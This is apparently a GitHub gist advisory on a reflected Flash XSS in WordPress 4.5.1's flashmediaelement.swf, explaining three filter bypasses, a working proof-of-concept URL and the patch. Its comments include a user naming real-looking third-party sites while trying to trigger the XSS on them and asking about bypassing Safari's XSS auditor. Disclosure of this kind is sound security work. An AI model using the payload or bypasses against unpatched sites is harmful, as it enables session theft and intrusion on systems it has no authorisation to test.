Create a gist now

Instantly share code, notes, and snippets.

WordPress Flash XSS in flashmediaelement.swf

WordPress Flash XSS in flashmediaelement.swf

  1. Intro
  2. Background
  3. Affected Systems
  4. Mitigation

Quick Overview

  • Reflected XSS in WordPress 4.5.1
  • Reported in late April 2016
  • Fixed in WordPress 4.5.2
  • Details released one week after fix was published

Intro

WordPress 4.5.1 is vulnerable against a reflected XSS that stems from an insecure URL sanitization process performed in the file flashmediaelement.swf. The code in the file attempts to remove flashVars ¹ in case they have been set GET parameters but fails to do so, enabling XSS via ExternalInterface ².

The attack technique was first described by Soroush Dalili in 2013 ³. The vulnerability in flashmediaelement.swf was discovered in April 2016, first identified as SOME bug by Kinugawa. Then, after a team review, the XSS potential was discovered and analyzed by Heiderich, Kinugawa and Inführ. Finally, it was discovered, that this file comes packaged with latest WordPress and the issue was reported via HackerOne by Heiderich et al.

PoC: https://example.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`

Background

In the browser-world, a Flash file can be fed with parameters in multiple ways.

Way One: flashVars

<embed src="myFlashMovie.swf"
    quality="high"
    bgcolor="#ffffff"
    width="550"
    height="400"
    name="myFlashMovie"     
    FlashVars="myVariable=Hello%20World&mySecondVariable=Goodbye"
    align="middle"
    allowScriptAccess="sameDomain"
    allowFullScreen="false"
    type="application/x-shockwave-flash"
    pluginspage="http://www.adobe.com/go/getflash"
/>

Way Two: GET parameters

myFlashMovie.swf?myVariable=Hello%20World&mySecondVariable=Goodbye

Quite obviously, flashVars via GET give an attacker more leverage, especially in case the Flash file can be opened directly in the browser. No need to embed it, just attach the flashVars via GET and the fun begins.

Not unlike many other Flash files, flashmediaelement.swf attempts to protect itself from flashVars being set via GET.

Attackers often abuse flashVars to exploit Flash XSS bugs originating from insecure handling of navigateToURL, ExternalInterface.call and other risky methods. So, why not get rid of GET parameters in the first place:

// get parameters
// Use only FlashVars, ignore QueryString
var params:Object, pos:int, query:Object;

params = LoaderInfo(this.root.loaderInfo).parameters;
pos = root.loaderInfo.url.indexOf('?');
if (pos !== -1) {
	query = parseStr(root.loaderInfo.url.substr(pos + 1));

	for (var key:String in params) {
		if (query.hasOwnProperty(trim(key))) {
			delete params[key];
		}
	}
}

[...]

private static function parseStr (str:String) : Object {
	var hash:Object = {},
		arr1:Array, arr2:Array;

	str = unescape(str).replace(/\+/g, " ");

	arr1 = str.split('&');
	if (!arr1.length) {
		return {};
	}

	for (var i:uint = 0, length:uint = arr1.length; i < length; i++) {
		arr2 = arr1[i].split('=');
		if (!arr2.length) {
			continue;
		}
		hash[trim(arr2[0])] = trim(arr2[1]);
	}
	return hash;
}

From: https://github.com/johndyer/mediaelement/blob/2.18.1/src/flash/FlashMediaElement.as#L118

The code shown above parses the URL query string and checks, if the GET parameter names spotted in there are also present among the flashVars (or vice versa). If a parameter name appears in both URL and the flashVars array, then the parameter must have been set via GET. If not, all is fine - and the parameter must have been set via flashVars.

Let's call this code "The GET Killer".

This way of "scrubbing" flashVars and making sure that no GET parameters can be used is fairly common and assumed to work well. But it can be bypassed using a dirty trick: invalid characters in the name of the GET parameters. Let's have a quick look at our PoC again:

PoC: https://example.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`

Notice something? We obfuscate the name of our GET parameter a bit.

jsinitfunctio%gn < see the %g?

The Flash player is very tolerant when handling input via GET. Invalid URL escapes for example will simply be stripped! This means, that despite us calling the GET parameter jsinitfunctio%gn, the parameter that really arrived in the Flash file is again called jsinitfunction because the invalid parts are stripped.

That of course messes up the "The GET Killer". Because now, the label it checks for based on the parsed URL string contains the %g but the actual flashVar does not! No match, no scrub. We can submit data by using GET again.

Just like this: ({'jsinitfunctio%gn':''}).hasOwnProperty('jsinitfunction') // false

But that's not all. The file flashmediaelement.swf ships more defensive mechanisms. One of them if for example a black-list that checks, that the parameter values paired with risky methods don't contain characters like parenthesis. Because that would indicate, that someone tries to smuggle in some executable code, like an alert(1) instead of just providing a callback, like alert.

private function isIllegalChar(s:String, isUrl:Boolean):Boolean {
	var illegals:String = "' \" ( ) { } * + \\ < >";
	if (isUrl) {
		illegals = "\" { } \\ < >";
	}
	if (Boolean(s)) { // Otherwise exception if parameter null.
		for each (var illegal:String in illegals.split(' ')) {
			if (s.indexOf(illegal) >= 0) {
				return true; // Illegal char found
			}
		}
	}
	return false;
}

From: https://github.com/johndyer/mediaelement/blob/2.18.1/src/flash/FlashMediaElement.as#L506

As you can see, the method shown above checks the input for malicious characters that indicate executable JavaScript. Parenthesis, curlies, operators and all the nasty characters. From the ECMAScript 5 world.

What is missing? The new ways of executing code offered by ECMAScript 6 by using back-ticks. Let's have a look at the PoC again:

PoC: https://example.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`

Notice something? We don't use parenthesis to execute the alert. We use back-ticks instead. And they are not blacklisted of course.

But we are still not finished, there is yet another security mechanism installed by flashmediaelement.swf to make the attacker's life harder. And this is a check for the ExternalInterface.objectID. This particular member is only present, in case the embedding HTML element (<embed> or <object>) is applied with an "ID" attribute. Here is the important bit of code:

if (_output != null) {
	_output.appendText(txt + "\n");
	if (ExternalInterface.objectID != null && ExternalInterface.objectID.toString() != "") {
		var pattern:RegExp = /'/g; //'
		ExternalInterface.call("setTimeout", _jsCallbackFunction + "('" + ExternalInterface.objectID + "','message','" + txt.replace(pattern, "’") + "')", 0);
	}
} 

From: https://github.com/johndyer/mediaelement/blob/2.18.1/src/flash/FlashMediaElement.as#L389

So, again. If the Flash file wasn't properly embedded but opened directly, the whole thing will not work.

Now, let's have a look how browsers actually embed Flash files when they are supposed to open them "directly" (by requesting the Flash/SWF file from the affected server). Because browers generate quite a bit of markup when opening an SWF directly.

Firefox does this:

<html><head><meta name="viewport" content="width=device-width; height=device-height;"></head><body marginwidth="0" marginheight="0"><embed height="100%" width="100%" name="plugin" src="test.swf" type="application/x-shockwave-flash"></body></html>

MSIE does this:

"<html><head><style>@-ms-viewport {width:device-width;}html, body {margin:0;padding:0;width:100%;height:100%;overflow:hidden;}</style></head><body><embed width="100%" height="100%" src="test.swf" type="application/x-shockwave-flash" fullscreen="yes"></body></html>"

Chrome however does this:

<html><body style="background-color: rgb(38,38,38); height: 100%; width: 100%; overflow: hidden; margin: 0"><embed width="100%" height="100%" name="plugin" id="plugin" src="test.swf" type="application/x-shockwave-flash"></body></html>

The embed code generated by MSIE and Firefox contains no id attribute. But Chrome's does! That means, that without any actual effort from the attacker, Chrome automatically "bypasses" the third layer of protection.

And that makes the attack work. Let's reiterate:

  1. We bypass "The GET Killer" using invalid URL escapes
  2. We bypass the blacklist using ES6 backticks
  3. Chrome "bypasses" the check for the ExternalInterface.objectID

And that is it.

Affected Systems

Unpatched WordPress instances that allow to directly call this file. Google finds a couple of 100k of them but we assume it is actually significantly more.

Here is some numbers that other people guesstimate:

Further note, browser-based XSS filters will not detect the attack and hence not protect here.

Mitigation

  • Update Wordpress to 4.5.2
  • Update flashmediaelement.swf to 2.21.1
  • Alternatively rewrite all GET parameters incoming for SWF files

The following code (making sure that no GET parameters aside from cache busters are allowed) is used to fix the issue:

private function isIllegalQuerystring() : Boolean
{
   var query:String = "";
   var pos:Number = root.loaderInfo.url.indexOf("?");
   if(pos > -1)
   {
      query = root.loaderInfo.url.substring(pos);
      if(!/^\?\d+$/.test(query))
      {
         return true;
      }
   }
   return false;
}
@x73
x73 commented May 17, 2016

Hello,
Thank you for such a detailed description, so, i decided to find this files online and try to reproduce this vuln.. as a result - without success, help me please understand what I'm doing wrong. Here is couple examples:
http://mdg.no/wp-content/themes/blogcastor/gallery/inc/mediaelement_old/flashmediaelement.swf
http://woodlandskinsale.com/wp-includes/js/mediaelement/flashmediaelement.swf
If I will append your payload as a parameter - XSS will not triggered..

Thanks in advance,
x73

@x73
x73 commented May 18, 2016

@irsdl 👍 for you presentation PoC, tried to use it couple times in different variations, but I was not able even get a request to my server via s.src='host/xss.js' :/
Have you got XSS for sites above?
Thanks,
x73

@irsdl
irsdl commented May 30, 2016

I can only say that the above PoC works and I have tried it on some a test target. Just make sure you are replacing the target domain correctly (//) are important to match the protocol scheme.

@sudofsys
sudofsys commented Jun 7, 2016

@irsdl Yes that's work for some browser but do you know how to bypass the xss filter of Safari 5 for example, because in this case, the xss injection is not possible, because the "dirty thing %g" is spotted and replace by the Xss Auditor.. So the PoC can not work because inject script is not read... !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment